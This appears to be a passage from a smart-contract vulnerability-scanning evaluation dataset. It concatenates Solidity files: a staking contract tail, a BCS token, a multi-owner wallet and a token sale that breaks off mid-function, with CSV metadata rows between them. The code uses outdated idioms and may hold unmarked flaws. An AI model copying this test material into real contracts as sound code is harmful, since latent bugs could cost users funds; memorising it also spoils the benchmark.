emit LogStake(_recipient, _amount);
return true;
}
function claim (address _recipient) external {
Claim memory info = warmupInfo[ _recipient ];
if (epoch.number >= info.expiry && info.expiry != 0) {
delete warmupInfo[ _recipient ];
uint256 amount = SSab.balanceForGons(info.gons);
warmupContract.retrieve(_recipient, amount);
emit LogClaim(_recipient, amount);
}
}
function forfeit() external {
Claim memory info = warmupInfo[ msg.sender ];
delete warmupInfo[ msg.sender ];
uint memoBalance = SSab.balanceForGons(info.gons);
warmupContract.retrieve(address(this), memoBalance);
Sab.safeTransfer(msg.sender, info.deposit);
emit LogForfeit(msg.sender, memoBalance, info.deposit);
}
function toggleDepositLock() external {
warmupInfo[ msg.sender ].lock = !warmupInfo[ msg.sender ].lock;
emit LogDepositLock(msg.sender, warmupInfo[ msg.sender ].lock);
}
function unstake(uint _amount, bool _trigger) external {
if (_trigger) {
rebase();
}
SSab.safeTransferFrom(msg.sender, address(this), _amount);
Sab.safeTransfer(msg.sender, _amount);
emit LogUnstake(msg.sender, _amount);
}
function index() external view returns (uint) {
return SSab.index();
}
function rebase() public {
if(epoch.endTime <= uint32(block.timestamp)) {
SSab.rebase(epoch.distribute, epoch.number);
epoch.endTime = epoch.endTime.add32(epoch.length);
epoch.number++;
uint staked = SSab.circulatingSupply();
if (address(distributor) != address(0)) {
distributor.distribute(staked); //sab mint should be updated
}
uint balance = contractBalance();
if(balance <= staked) {
epoch.distribute = 0;
} else {
epoch.distribute = balance.sub(staked);
}
emit LogRebase(epoch.distribute);
}
}
function contractBalance() public view returns (uint) {
return Sab.balanceOf(address(this)).add(totalBonus);
}
enum CONTRACTS { DISTRIBUTOR, WARMUP }
function setContract(CONTRACTS _contract, address _address) external onlyOwner {
if(_contract == CONTRACTS.DISTRIBUTOR) { // 0
distributor = IDistributor(_address);
} else if (_contract == CONTRACTS.WARMUP) { // 1
require(address(warmupContract) == address(0), "Warmup cannot be set more than once");
warmupContract = IWarmup(_address);
}
emit LogSetContract(_contract, _address);
}
function setWarmup(uint _warmupPeriod) external onlyOwner {
warmupPeriod = _warmupPeriod;
emit LogWarmupPeriod(_warmupPeriod);
}
}
| 97,317 | 10,393 |
0aaa4c73aa0c498b21414380d6182be80fdeea2aa958eacfa7c9b6117cdabb78
| 17,724 |
.sol
|
Solidity
| false |
416581097
|
NoamaSamreen93/SmartScan-Dataset
|
0199a090283626c8f2a5e96786e89fc850bdeabd
|
evaluation-dataset/0x98bde3a768401260e7025faf9947ef1b81295519.sol
| 2,535 | 10,428 |
pragma solidity ^0.4.10;
contract Owned {
address public owner;
function Owned() {
owner = msg.sender;
}
// allows execution by the owner only
modifier ownerOnly {
assert(msg.sender == owner);
_;
}
function transferOwnership(address _newOwner) public ownerOnly {
require(_newOwner != owner);
owner = _newOwner;
}
}
///A token that have an owner and a list of managers that can perform some operations
///Owner is always a manager too
contract Manageable is Owned {
event ManagerSet(address manager, bool state);
mapping (address => bool) public managers;
function Manageable() Owned() {
managers[owner] = true;
}
modifier managerOnly {
assert(managers[msg.sender]);
_;
}
function transferOwnership(address _newOwner) public ownerOnly {
super.transferOwnership(_newOwner);
managers[_newOwner] = true;
managers[msg.sender] = false;
}
function setManager(address manager, bool state) ownerOnly {
managers[manager] = state;
ManagerSet(manager, state);
}
}
contract IERC20Token {
function name() public constant returns (string _name) { _name; }
function symbol() public constant returns (string _symbol) { _symbol; }
function decimals() public constant returns (uint8 _decimals) { _decimals; }
function totalSupply() constant returns (uint total) {total;}
function balanceOf(address _owner) constant returns (uint balance) {_owner; balance;}
function allowance(address _owner, address _spender) constant returns (uint remaining) {_owner; _spender; remaining;}
function transfer(address _to, uint _value) returns (bool success);
function transferFrom(address _from, address _to, uint _value) returns (bool success);
function approve(address _spender, uint _value) returns (bool success);
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
}
contract SafeMath {
function safeAdd(uint256 a, uint256 b) internal returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
function safeSub(uint256 a, uint256 b) internal returns (uint256) {
assert(a >= b);
return a - b;
}
function safeMult(uint256 x, uint256 y) internal returns(uint256) {
uint256 z = x * y;
assert((x == 0) || (z / x == y));
return z;
}
function safeDiv(uint256 x, uint256 y) internal returns (uint256) {
assert(y != 0);
return x / y;
}
}
contract ERC20StandardToken is IERC20Token, SafeMath {
string public name;
string public symbol;
uint8 public decimals;
//tokens already issued
uint256 tokensIssued;
//balances for each account
mapping (address => uint256) balances;
//one account approves the transfer of an amount to another account
mapping (address => mapping (address => uint256)) allowed;
function ERC20StandardToken() {
}
//
//IERC20Token implementation
//
function totalSupply() constant returns (uint total) {
total = tokensIssued;
}
function balanceOf(address _owner) constant returns (uint balance) {
balance = balances[_owner];
}
function transfer(address _to, uint256 _value) returns (bool) {
require(_to != address(0));
// safeSub inside doTransfer will throw if there is not enough balance.
doTransfer(msg.sender, _to, _value);
Transfer(msg.sender, _to, _value);
return true;
}
function transferFrom(address _from, address _to, uint256 _value) returns (bool) {
require(_to != address(0));
allowed[_from][msg.sender] = safeSub(allowed[_from][msg.sender], _value);
// safeSub inside doTransfer will throw if there is not enough balance.
doTransfer(_from, _to, _value);
Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) returns (bool success) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) constant returns (uint256 remaining) {
remaining = allowed[_owner][_spender];
}
//
// Additional functions
//
function getRealTokenAmount(uint256 tokens) constant returns (uint256) {
return tokens * (uint256(10) ** decimals);
}
//
// Internal functions
//
function doTransfer(address _from, address _to, uint256 _value) internal {
balances[_from] = safeSub(balances[_from], _value);
balances[_to] = safeAdd(balances[_to], _value);
}
}
contract ValueTokenAgent {
ValueToken public valueToken;
modifier valueTokenOnly {require(msg.sender == address(valueToken)); _;}
function ValueTokenAgent(ValueToken token) {
valueToken = token;
}
function tokenIsBeingTransferred(address from, address to, uint256 amount);
function tokenChanged(address holder, uint256 amount);
}
contract ValueToken is Manageable, ERC20StandardToken {
ValueTokenAgent valueAgent;
mapping (address => bool) public reserved;
uint256 public reservedAmount;
function ValueToken() {}
function setValueAgent(ValueTokenAgent newAgent) managerOnly {
valueAgent = newAgent;
}
function doTransfer(address _from, address _to, uint256 _value) internal {
if (address(valueAgent) != 0x0) {
//first execute agent method
valueAgent.tokenIsBeingTransferred(_from, _to, _value);
}
//first check if addresses are reserved and adjust reserved amount accordingly
if (reserved[_from]) {
reservedAmount = safeSub(reservedAmount, _value);
//reservedAmount -= _value;
}
if (reserved[_to]) {
reservedAmount = safeAdd(reservedAmount, _value);
//reservedAmount += _value;
}
//then do actual transfer
super.doTransfer(_from, _to, _value);
}
function getValuableTokenAmount() constant returns (uint256) {
return totalSupply() - reservedAmount;
}
function setReserved(address holder, bool state) managerOnly {
uint256 holderBalance = balanceOf(holder);
if (address(valueAgent) != 0x0) {
valueAgent.tokenChanged(holder, holderBalance);
}
//change reserved token amount according to holder's state
if (state) {
//reservedAmount += holderBalance;
reservedAmount = safeAdd(reservedAmount, holderBalance);
} else {
//reservedAmount -= holderBalance;
reservedAmount = safeSub(reservedAmount, holderBalance);
}
reserved[holder] = state;
}
}
///Returnable tokens receiver
contract ReturnTokenAgent is Manageable {
//ReturnableToken public returnableToken;
mapping (address => bool) public returnableTokens;
//modifier returnableTokenOnly {require(msg.sender == address(returnableToken)); _;}
modifier returnableTokenOnly {require(returnableTokens[msg.sender]); _;}
function returnToken(address from, uint256 amountReturned);
function setReturnableToken(ReturnableToken token) managerOnly {
returnableTokens[address(token)] = true;
}
function removeReturnableToken(ReturnableToken token) managerOnly {
returnableTokens[address(token)] = false;
}
}
///Token that when sent to specified contract (returnAgent) invokes additional actions
contract ReturnableToken is Manageable, ERC20StandardToken {
mapping (address => bool) public returnAgents;
function ReturnableToken() {}
function setReturnAgent(ReturnTokenAgent agent) managerOnly {
returnAgents[address(agent)] = true;
}
function removeReturnAgent(ReturnTokenAgent agent) managerOnly {
returnAgents[address(agent)] = false;
}
function doTransfer(address _from, address _to, uint256 _value) internal {
super.doTransfer(_from, _to, _value);
if (returnAgents[_to]) {
ReturnTokenAgent(_to).returnToken(_from, _value);
}
}
}
contract IBurnableToken {
function burn(uint256 _value);
}
contract BCSToken is ValueToken, ReturnableToken, IBurnableToken {
mapping (address => bool) public transferAllowed;
mapping (address => uint256) public transferLockUntil;
bool public transferLocked;
event Burn(address sender, uint256 value);
function BCSToken(uint256 _initialSupply, uint8 _decimals) {
name = "BCShop.io Token";
symbol = "BCS";
decimals = _decimals;
tokensIssued = _initialSupply * (uint256(10) ** decimals);
//store all tokens at the owner's address;
balances[msg.sender] = tokensIssued;
transferLocked = true;
transferAllowed[msg.sender] = true;
}
function doTransfer(address _from, address _to, uint256 _value) internal {
require(canTransfer(_from));
super.doTransfer(_from, _to, _value);
}
function canTransfer(address holder) constant returns (bool) {
if(transferLocked) {
return transferAllowed[holder];
} else {
return now > transferLockUntil[holder];
}
//return !transferLocked && now > transferLockUntil[holder];
}
function lockTransferFor(address holder, uint256 daysFromNow) managerOnly {
transferLockUntil[holder] = daysFromNow * 1 days + now;
}
function allowTransferFor(address holder, bool state) managerOnly {
transferAllowed[holder] = state;
}
function setLockedState(bool state) managerOnly {
transferLocked = state;
}
function burn(uint256 _value) managerOnly {
require (balances[msg.sender] >= _value); // Check if the sender has enough
if (address(valueAgent) != 0x0) {
valueAgent.tokenChanged(msg.sender, _value);
}
balances[msg.sender] -= _value; // Subtract from the sender
tokensIssued -= _value; // Updates totalSupply
Burn(msg.sender, _value);
}
}
| 191,768 | 10,394 |
c22f34b2973f8719aa6d66042cc7f8481587237e7dbf97939bfd511fddbc768f
| 15,200 |
.sol
|
Solidity
| false |
416581097
|
NoamaSamreen93/SmartScan-Dataset
|
0199a090283626c8f2a5e96786e89fc850bdeabd
|
evaluation-dataset/0xb5f4651540ae4ad3a5c2a89b0d14eb06df886745.sol
| 3,375 | 14,338 |
pragma solidity 0.4.15;
// Code taken from https://github.com/ethereum/dapp-bin/blob/master/wallet/wallet.sol
// Audit, refactoring and improvements by github.com/Eenae
// @authors:
// Gav Wood <g@ethdev.com>
// single, or, crucially, each of a number of, designated owners.
// usage:
// interior is executed.
// TODO acceptOwnership
contract multiowned {
// TYPES
// struct for the status of a pending operation.
struct MultiOwnedOperationPendingState {
// count of confirmations needed
uint yetNeeded;
// bitmap of confirmations where owner #ownerIndex's decision corresponds to 2**ownerIndex bit
uint ownersDone;
// position of this operation key in m_multiOwnedPendingIndex
uint index;
}
// EVENTS
event Confirmation(address owner, bytes32 operation);
event Revoke(address owner, bytes32 operation);
event FinalConfirmation(address owner, bytes32 operation);
// some others are in the case of an owner changing.
event OwnerChanged(address oldOwner, address newOwner);
event OwnerAdded(address newOwner);
event OwnerRemoved(address oldOwner);
// the last one is emitted if the required signatures change
event RequirementChanged(uint newRequirement);
// MODIFIERS
// simple single-sig function modifier.
modifier onlyowner {
require(isOwner(msg.sender));
_;
}
// multi-sig function modifier: the operation must have an intrinsic hash in order
// that later attempts can be realised as the same underlying operation and
// thus count as confirmations.
modifier onlymanyowners(bytes32 _operation) {
if (confirmAndCheck(_operation)) {
_;
}
// Even if required number of confirmations has't been collected yet,
// we can't throw here - because changes to the state have to be preserved.
// But, confirmAndCheck itself will throw in case sender is not an owner.
}
modifier validNumOwners(uint _numOwners) {
require(_numOwners > 0 && _numOwners <= c_maxOwners);
_;
}
modifier multiOwnedValidRequirement(uint _required, uint _numOwners) {
require(_required > 0 && _required <= _numOwners);
_;
}
modifier ownerExists(address _address) {
require(isOwner(_address));
_;
}
modifier ownerDoesNotExist(address _address) {
require(!isOwner(_address));
_;
}
modifier multiOwnedOperationIsActive(bytes32 _operation) {
require(isOperationActive(_operation));
_;
}
// METHODS
// constructor is given number of sigs required to do protected "onlymanyowners" transactions
function multiowned(address[] _owners, uint _required)
validNumOwners(_owners.length)
multiOwnedValidRequirement(_required, _owners.length)
{
assert(c_maxOwners <= 255);
m_numOwners = _owners.length;
m_multiOwnedRequired = _required;
for (uint i = 0; i < _owners.length; ++i)
{
address owner = _owners[i];
// invalid and duplicate addresses are not allowed
require(0 != owner && !isOwner(owner));
uint currentOwnerIndex = checkOwnerIndex(i + 1);
m_owners[currentOwnerIndex] = owner;
m_ownerIndex[owner] = currentOwnerIndex;
}
assertOwnersAreConsistent();
}
/// @notice replaces an owner `_from` with another `_to`.
/// @param _from address of owner to replace
/// @param _to address of new owner
// All pending operations will be canceled!
function changeOwner(address _from, address _to)
external
ownerExists(_from)
ownerDoesNotExist(_to)
onlymanyowners(sha3(msg.data))
{
assertOwnersAreConsistent();
clearPending();
uint ownerIndex = checkOwnerIndex(m_ownerIndex[_from]);
m_owners[ownerIndex] = _to;
m_ownerIndex[_from] = 0;
m_ownerIndex[_to] = ownerIndex;
assertOwnersAreConsistent();
OwnerChanged(_from, _to);
}
/// @notice adds an owner
/// @param _owner address of new owner
// All pending operations will be canceled!
function addOwner(address _owner)
external
ownerDoesNotExist(_owner)
validNumOwners(m_numOwners + 1)
onlymanyowners(sha3(msg.data))
{
assertOwnersAreConsistent();
clearPending();
m_numOwners++;
m_owners[m_numOwners] = _owner;
m_ownerIndex[_owner] = checkOwnerIndex(m_numOwners);
assertOwnersAreConsistent();
OwnerAdded(_owner);
}
/// @notice removes an owner
/// @param _owner address of owner to remove
// All pending operations will be canceled!
function removeOwner(address _owner)
external
ownerExists(_owner)
validNumOwners(m_numOwners - 1)
multiOwnedValidRequirement(m_multiOwnedRequired, m_numOwners - 1)
onlymanyowners(sha3(msg.data))
{
assertOwnersAreConsistent();
clearPending();
uint ownerIndex = checkOwnerIndex(m_ownerIndex[_owner]);
m_owners[ownerIndex] = 0;
m_ownerIndex[_owner] = 0;
//make sure m_numOwners is equal to the number of owners and always points to the last owner
reorganizeOwners();
assertOwnersAreConsistent();
OwnerRemoved(_owner);
}
/// @notice changes the required number of owner signatures
/// @param _newRequired new number of signatures required
// All pending operations will be canceled!
function changeRequirement(uint _newRequired)
external
multiOwnedValidRequirement(_newRequired, m_numOwners)
onlymanyowners(sha3(msg.data))
{
m_multiOwnedRequired = _newRequired;
clearPending();
RequirementChanged(_newRequired);
}
/// @notice Gets an owner by 0-indexed position
/// @param ownerIndex 0-indexed owner position
function getOwner(uint ownerIndex) public constant returns (address) {
return m_owners[ownerIndex + 1];
}
/// @notice Gets owners
/// @return memory array of owners
function getOwners() public constant returns (address[]) {
address[] memory result = new address[](m_numOwners);
for (uint i = 0; i < m_numOwners; i++)
result[i] = getOwner(i);
return result;
}
/// @notice checks if provided address is an owner address
/// @param _addr address to check
/// @return true if it's an owner
function isOwner(address _addr) public constant returns (bool) {
return m_ownerIndex[_addr] > 0;
}
/// @notice Tests ownership of the current caller.
/// @return true if it's an owner
// addOwner/changeOwner and to isOwner.
function amIOwner() external constant onlyowner returns (bool) {
return true;
}
/// @notice Revokes a prior confirmation of the given operation
/// @param _operation operation value, typically sha3(msg.data)
function revoke(bytes32 _operation)
external
multiOwnedOperationIsActive(_operation)
onlyowner
{
uint ownerIndexBit = makeOwnerBitmapBit(msg.sender);
var pending = m_multiOwnedPending[_operation];
require(pending.ownersDone & ownerIndexBit > 0);
assertOperationIsConsistent(_operation);
pending.yetNeeded++;
pending.ownersDone -= ownerIndexBit;
assertOperationIsConsistent(_operation);
Revoke(msg.sender, _operation);
}
/// @notice Checks if owner confirmed given operation
/// @param _operation operation value, typically sha3(msg.data)
/// @param _owner an owner address
function hasConfirmed(bytes32 _operation, address _owner)
external
constant
multiOwnedOperationIsActive(_operation)
ownerExists(_owner)
returns (bool)
{
return !(m_multiOwnedPending[_operation].ownersDone & makeOwnerBitmapBit(_owner) == 0);
}
// INTERNAL METHODS
function confirmAndCheck(bytes32 _operation)
private
onlyowner
returns (bool)
{
if (512 == m_multiOwnedPendingIndex.length)
// In case m_multiOwnedPendingIndex grows too much we have to shrink it: otherwise at some point
// we won't be able to do it because of block gas limit.
// Yes, pending confirmations will be lost. Dont see any security or stability implications.
// TODO use more graceful approach like compact or removal of clearPending completely
clearPending();
var pending = m_multiOwnedPending[_operation];
// if we're not yet working on this operation, switch over and reset the confirmation status.
if (! isOperationActive(_operation)) {
// reset count of confirmations needed.
pending.yetNeeded = m_multiOwnedRequired;
// reset which owners have confirmed (none) - set our bitmap to 0.
pending.ownersDone = 0;
pending.index = m_multiOwnedPendingIndex.length++;
m_multiOwnedPendingIndex[pending.index] = _operation;
assertOperationIsConsistent(_operation);
}
// determine the bit to set for this owner.
uint ownerIndexBit = makeOwnerBitmapBit(msg.sender);
// make sure we (the message sender) haven't confirmed this operation previously.
if (pending.ownersDone & ownerIndexBit == 0) {
// ok - check if count is enough to go ahead.
assert(pending.yetNeeded > 0);
if (pending.yetNeeded == 1) {
// enough confirmations: reset and run interior.
delete m_multiOwnedPendingIndex[m_multiOwnedPending[_operation].index];
delete m_multiOwnedPending[_operation];
FinalConfirmation(msg.sender, _operation);
return true;
}
else
{
// not enough: record that this owner in particular confirmed.
pending.yetNeeded--;
pending.ownersDone |= ownerIndexBit;
assertOperationIsConsistent(_operation);
Confirmation(msg.sender, _operation);
}
}
}
// Reclaims free slots between valid owners in m_owners.
// TODO given that its called after each removal, it could be simplified.
function reorganizeOwners() private {
uint free = 1;
while (free < m_numOwners)
{
// iterating to the first free slot from the beginning
while (free < m_numOwners && m_owners[free] != 0) free++;
// iterating to the first occupied slot from the end
while (m_numOwners > 1 && m_owners[m_numOwners] == 0) m_numOwners--;
// swap, if possible, so free slot is located at the end after the swap
if (free < m_numOwners && m_owners[m_numOwners] != 0 && m_owners[free] == 0)
{
// owners between swapped slots should't be renumbered - that saves a lot of gas
m_owners[free] = m_owners[m_numOwners];
m_ownerIndex[m_owners[free]] = free;
m_owners[m_numOwners] = 0;
}
}
}
function clearPending() private onlyowner {
uint length = m_multiOwnedPendingIndex.length;
for (uint i = 0; i < length; ++i) {
if (m_multiOwnedPendingIndex[i] != 0)
delete m_multiOwnedPending[m_multiOwnedPendingIndex[i]];
}
delete m_multiOwnedPendingIndex;
}
function checkOwnerIndex(uint ownerIndex) private constant returns (uint) {
assert(0 != ownerIndex && ownerIndex <= c_maxOwners);
return ownerIndex;
}
function makeOwnerBitmapBit(address owner) private constant returns (uint) {
uint ownerIndex = checkOwnerIndex(m_ownerIndex[owner]);
return 2 ** ownerIndex;
}
function isOperationActive(bytes32 _operation) private constant returns (bool) {
return 0 != m_multiOwnedPending[_operation].yetNeeded;
}
function assertOwnersAreConsistent() private constant {
assert(m_numOwners > 0);
assert(m_numOwners <= c_maxOwners);
assert(m_owners[0] == 0);
assert(0 != m_multiOwnedRequired && m_multiOwnedRequired <= m_numOwners);
}
function assertOperationIsConsistent(bytes32 _operation) private constant {
var pending = m_multiOwnedPending[_operation];
assert(0 != pending.yetNeeded);
assert(m_multiOwnedPendingIndex[pending.index] == _operation);
assert(pending.yetNeeded <= m_multiOwnedRequired);
}
// FIELDS
uint constant c_maxOwners = 250;
// the number of owners that must confirm the same operation before it is run.
uint public m_multiOwnedRequired;
// pointer used to find a free slot in m_owners
uint public m_numOwners;
// list of owners (addresses),
// slot 0 is unused so there are no owner which index is 0.
// TODO could we save space at the end of the array for the common case of <10 owners? and should we?
address[256] internal m_owners;
// index on the list of owners to allow reverse lookup: owner address => index in m_owners
mapping(address => uint) internal m_ownerIndex;
// the ongoing operations.
mapping(bytes32 => MultiOwnedOperationPendingState) internal m_multiOwnedPending;
bytes32[] internal m_multiOwnedPendingIndex;
}
contract SimpleMultiSigWallet is multiowned {
event Deposit(address indexed sender, uint value);
event EtherSent(address indexed to, uint value);
function SimpleMultiSigWallet(address[] _owners, uint _signaturesRequired)
multiowned(_owners, _signaturesRequired)
{
}
/// @dev Fallback function allows to deposit ether.
function()
payable
{
if (msg.value > 0)
Deposit(msg.sender, msg.value);
}
/// @notice Send `value` of ether to address `to`
/// @param to where to send ether
/// @param value amount of wei to send
function sendEther(address to, uint value)
external
onlymanyowners(sha3(msg.data))
{
require(0 != to);
require(value > 0 && this.balance >= value);
to.transfer(value);
EtherSent(to, value);
}
}
| 195,718 | 10,395 |
197eeee8e44ea4c7357846f749308e120914e2e535e4be8b6ae70c496b009b72
| 21,779 |
.sol
|
Solidity
| false |
416581097
|
NoamaSamreen93/SmartScan-Dataset
|
0199a090283626c8f2a5e96786e89fc850bdeabd
|
evaluation-dataset/0xadf10eb786b160aea0037887a4b95341b9b68434.sol
| 4,203 | 14,963 |
pragma solidity ^0.4.24;
// File: openzeppelin-solidity/contracts/math/SafeMath.sol
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0); // Solidity only automatically asserts when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a);
uint256 c = a - b;
return c;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a);
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0);
return a % b;
}
}
// File: openzeppelin-solidity/contracts/ownership/Ownable.sol
contract Ownable {
address private _owner;
event OwnershipTransferred(address indexed previousOwner,
address indexed newOwner);
constructor() internal {
_owner = msg.sender;
emit OwnershipTransferred(address(0), _owner);
}
function owner() public view returns(address) {
return _owner;
}
modifier onlyOwner() {
require(isOwner());
_;
}
function isOwner() public view returns(bool) {
return msg.sender == _owner;
}
function renounceOwnership() public onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public onlyOwner {
_transferOwnership(newOwner);
}
function _transferOwnership(address newOwner) internal {
require(newOwner != address(0));
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
// File: openzeppelin-solidity/contracts/token/ERC20/IERC20.sol
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address who) external view returns (uint256);
function allowance(address owner, address spender)
external view returns (uint256);
function transfer(address to, uint256 value) external returns (bool);
function approve(address spender, uint256 value)
external returns (bool);
function transferFrom(address from, address to, uint256 value)
external returns (bool);
event Transfer(address indexed from,
address indexed to,
uint256 value);
event Approval(address indexed owner,
address indexed spender,
uint256 value);
}
// File: openzeppelin-solidity/contracts/token/ERC20/ERC20.sol
contract ERC20 is IERC20 {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowed;
uint256 private _totalSupply;
function totalSupply() public view returns (uint256) {
return _totalSupply;
}
function balanceOf(address owner) public view returns (uint256) {
return _balances[owner];
}
function allowance(address owner,
address spender)
public
view
returns (uint256)
{
return _allowed[owner][spender];
}
function transfer(address to, uint256 value) public returns (bool) {
_transfer(msg.sender, to, value);
return true;
}
function approve(address spender, uint256 value) public returns (bool) {
require(spender != address(0));
_allowed[msg.sender][spender] = value;
emit Approval(msg.sender, spender, value);
return true;
}
function transferFrom(address from,
address to,
uint256 value)
public
returns (bool)
{
require(value <= _allowed[from][msg.sender]);
_allowed[from][msg.sender] = _allowed[from][msg.sender].sub(value);
_transfer(from, to, value);
return true;
}
function increaseAllowance(address spender,
uint256 addedValue)
public
returns (bool)
{
require(spender != address(0));
_allowed[msg.sender][spender] = (_allowed[msg.sender][spender].add(addedValue));
emit Approval(msg.sender, spender, _allowed[msg.sender][spender]);
return true;
}
function decreaseAllowance(address spender,
uint256 subtractedValue)
public
returns (bool)
{
require(spender != address(0));
_allowed[msg.sender][spender] = (_allowed[msg.sender][spender].sub(subtractedValue));
emit Approval(msg.sender, spender, _allowed[msg.sender][spender]);
return true;
}
function _transfer(address from, address to, uint256 value) internal {
require(value <= _balances[from]);
require(to != address(0));
_balances[from] = _balances[from].sub(value);
_balances[to] = _balances[to].add(value);
emit Transfer(from, to, value);
}
function _mint(address account, uint256 value) internal {
require(account != 0);
_totalSupply = _totalSupply.add(value);
_balances[account] = _balances[account].add(value);
emit Transfer(address(0), account, value);
}
function _burn(address account, uint256 value) internal {
require(account != 0);
require(value <= _balances[account]);
_totalSupply = _totalSupply.sub(value);
_balances[account] = _balances[account].sub(value);
emit Transfer(account, address(0), value);
}
function _burnFrom(address account, uint256 value) internal {
require(value <= _allowed[account][msg.sender]);
// Should https://github.com/OpenZeppelin/zeppelin-solidity/issues/707 be accepted,
// this function needs to emit an event with the updated approval.
_allowed[account][msg.sender] = _allowed[account][msg.sender].sub(value);
_burn(account, value);
}
}
// File: openzeppelin-solidity/contracts/token/ERC20/ERC20Burnable.sol
contract ERC20Burnable is ERC20 {
function burn(uint256 value) public {
_burn(msg.sender, value);
}
function burnFrom(address from, uint256 value) public {
_burnFrom(from, value);
}
}
// File: openzeppelin-solidity/contracts/utils/ReentrancyGuard.sol
contract ReentrancyGuard {
/// @dev counter to allow mutex lock with only one SSTORE operation
uint256 private _guardCounter;
constructor() internal {
// The counter starts at one to prevent changing it from zero to a non-zero
// value, which is a more expensive operation.
_guardCounter = 1;
}
modifier nonReentrant() {
_guardCounter += 1;
uint256 localCounter = _guardCounter;
_;
require(localCounter == _guardCounter);
}
}
// File: contracts/LTOTokenSale.sol
contract LTOTokenSale is Ownable, ReentrancyGuard {
using SafeMath for uint256;
uint256 constant minimumAmount = 0.1 ether; // Minimum amount of ether to transfer
uint256 constant maximumCapAmount = 40 ether; // Maximium amount of ether you can send with being caplisted
uint256 constant ethDecimals = 1 ether; // Amount used to divide ether with to calculate proportion
uint256 constant ltoEthDiffDecimals = 10**10; // Amount used to get the number of desired decimals, so convert from 18 to 8
uint256 constant bonusRateDivision = 10000; // Amount used to divide the amount so the bonus can be calculated
ERC20Burnable public token;
address public receiverAddr;
uint256 public totalSaleAmount;
uint256 public totalWannaBuyAmount;
uint256 public startTime;
uint256 public bonusEndTime;
uint256 public bonusPercentage;
uint256 public bonusDecreaseRate;
uint256 public endTime;
uint256 public userWithdrawalStartTime;
uint256 public clearStartTime;
uint256 public withdrawn;
uint256 public proportion = 1 ether;
uint256 public globalAmount;
uint256 public rate;
uint256 public nrOfTransactions = 0;
address public capListAddress;
mapping (address => bool) public capFreeAddresses;
struct PurchaserInfo {
bool withdrew;
bool recorded;
uint256 received; // Received ether
uint256 accounted; // Received ether + bonus
uint256 unreceived; // Ether stuck because failed withdraw
}
struct Purchase {
uint256 received; // Received ether
uint256 used; // Received ether multiplied by the proportion
uint256 tokens; // To receive tokens
}
mapping(address => PurchaserInfo) public purchaserMapping;
address[] public purchaserList;
modifier onlyOpenTime {
require(isStarted());
require(!isEnded());
_;
}
modifier onlyAutoWithdrawalTime {
require(isEnded());
_;
}
modifier onlyUserWithdrawalTime {
require(isUserWithdrawalTime());
_;
}
modifier purchasersAllWithdrawn {
require(withdrawn==purchaserList.length);
_;
}
modifier onlyClearTime {
require(isClearTime());
_;
}
modifier onlyCapListAddress {
require(msg.sender == capListAddress);
_;
}
constructor(address _receiverAddr, ERC20Burnable _token, uint256 _totalSaleAmount, address _capListAddress) public {
require(_receiverAddr != address(0));
require(_token != address(0));
require(_capListAddress != address(0));
require(_totalSaleAmount > 0);
receiverAddr = _receiverAddr;
token = _token;
totalSaleAmount = _totalSaleAmount;
capListAddress = _capListAddress;
}
function isStarted() public view returns(bool) {
return 0 < startTime && startTime <= now && endTime != 0;
}
function isEnded() public view returns(bool) {
return 0 < endTime && now > endTime;
}
function isUserWithdrawalTime() public view returns(bool) {
return 0 < userWithdrawalStartTime && now > userWithdrawalStartTime;
}
function isClearTime() public view returns(bool) {
return 0 < clearStartTime && now > clearStartTime;
}
function isBonusPeriod() public view returns(bool) {
return now >= startTime && now <= bonusEndTime;
}
function startSale(uint256 _startTime, uint256 _rate, uint256 duration,
uint256 bonusDuration, uint256 _bonusPercentage, uint256 _bonusDecreaseRate,
uint256 userWithdrawalDelaySec, uint256 clearDelaySec) public onlyOwner {
require(endTime == 0);
require(_startTime > 0);
require(_rate > 0);
require(duration > 0);
require(token.balanceOf(this) == totalSaleAmount);
rate = _rate;
bonusPercentage = _bonusPercentage;
bonusDecreaseRate = _bonusDecreaseRate;
startTime = _startTime;
bonusEndTime = startTime.add(bonusDuration);
endTime = startTime.add(duration);
userWithdrawalStartTime = endTime.add(userWithdrawalDelaySec);
clearStartTime = endTime.add(clearDelaySec);
}
function getPurchaserCount() public view returns(uint256) {
return purchaserList.length;
}
function _calcProportion() internal {
assert(totalSaleAmount > 0);
if (totalSaleAmount >= totalWannaBuyAmount) {
proportion = ethDecimals;
return;
}
proportion = totalSaleAmount.mul(ethDecimals).div(totalWannaBuyAmount);
}
function getSaleInfo(address purchaser) internal view returns (Purchase p) {
PurchaserInfo storage pi = purchaserMapping[purchaser];
return Purchase(pi.received,
pi.received.mul(proportion).div(ethDecimals),
pi.accounted.mul(proportion).div(ethDecimals).mul(rate).div(ltoEthDiffDecimals));
}
function getPublicSaleInfo(address purchaser) public view returns (uint256, uint256, uint256) {
Purchase memory purchase = getSaleInfo(purchaser);
return (purchase.received, purchase.used, purchase.tokens);
}
function () payable public {
buy();
}
function buy() payable public onlyOpenTime {
require(msg.value >= minimumAmount);
uint256 amount = msg.value;
PurchaserInfo storage pi = purchaserMapping[msg.sender];
if (!pi.recorded) {
pi.recorded = true;
purchaserList.push(msg.sender);
}
uint256 totalAmount = pi.received.add(amount);
if (totalAmount > maximumCapAmount && !isCapFree(msg.sender)) {
